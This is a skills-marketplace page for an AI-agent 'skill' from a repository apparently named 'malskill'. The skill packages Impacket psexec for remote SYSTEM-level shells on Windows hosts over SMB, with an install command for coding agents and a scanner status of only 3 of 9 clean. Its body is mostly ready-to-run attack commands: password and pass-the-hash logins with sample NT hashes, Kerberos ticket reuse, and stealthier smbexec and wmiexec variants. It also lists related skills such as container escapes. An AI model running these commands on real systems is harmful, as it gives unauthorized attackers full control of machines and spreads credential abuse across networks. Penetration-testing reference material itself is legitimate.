offensive-tools/windows/psexec/SKILL.md
Auth/lab ref: Impacket psexec for remote SYSTEM-level shell execution on Windows hosts via SMB.
npx skillsauth add aeondave/malskill psexecInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Remote SYSTEM shell via SMB — part of the impacket suite. Creates a service, uploads a remote shell binary to ADMIN$, and executes it.
# Password auth
impacket-psexec domain/user:[email protected]
# Pass-the-hash
impacket-psexec [email protected] -hashes :8846f7eaee8fb117ad06bdd830b7586c
# Local account
impacket-psexec WORKGROUP/administrator:[email protected]
| Flag | Description |
|------|-------------|
| domain/user:pass@target | Standard auth string |
| -hashes <LM:NT> | Pass-the-hash (use :NT for NT only) |
| -no-pass | No password (for null sessions) |
| -k | Kerberos auth |
| -dc-ip <ip> | Domain controller IP |
| -port <n> | Custom SMB port |
| -service-name <n> | Custom service name (default random) |
| -remote-binary-name <n> | Custom remote binary name |
| -shell-type <type> | Shell type: cmd or powershell |
| -codec <enc> | Output encoding (default auto-detect) |
| Tool | Method | Notes |
|------|--------|-------|
| psexec.py | Service + ADMIN$ binary | SYSTEM shell; noisy (creates service) |
| smbexec.py | Service + cmd.exe | No binary drop; semi-interactive |
| wmiexec.py | WMI + cmd.exe | Semi-interactive; no service created |
| atexec.py | Task Scheduler | Single command; no interactive shell |
| dcomexec.py | DCOM | Multiple DCOM object options |
# Get SYSTEM shell with credentials
impacket-psexec corp.local/admin:[email protected]
# Pass-the-hash (no LM needed for modern Windows)
impacket-psexec -hashes :f6f38b793db6a78dc379eee9e56b8c91 [email protected]
# PowerShell shell
impacket-psexec admin:[email protected] -shell-type powershell
# Execute single command (use wmiexec for non-interactive)
impacket-wmiexec admin:[email protected] "net user"
# Stealthier: smbexec (no binary to disk)
impacket-smbexec admin:[email protected]
# Kerberos auth (with CCACHE)
export KRB5CCNAME=/tmp/admin.ccache
impacket-psexec -k -no-pass corp.local/[email protected]
| File | When to load |
|------|--------------|
| references/impacket-suite.md | Full impacket tool reference, secretsdump, GetUserSPNs, ticketing attacks |
development
White-box auditing methodology for AI-generated ('vibe-coded') applications. Focuses on modern stack misconfigurations (Supabase, Next.js, Vercel).
development
Hybrid AI/Deterministic SAST methodology for discovering zero-day vulnerabilities in source code. Orchestrates structural search with AI-driven data flow and sink validation.
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.
devops
Container methodology: Identifying containerization limits, Docker/K8s misconfigurations, and executing escapes to the host node.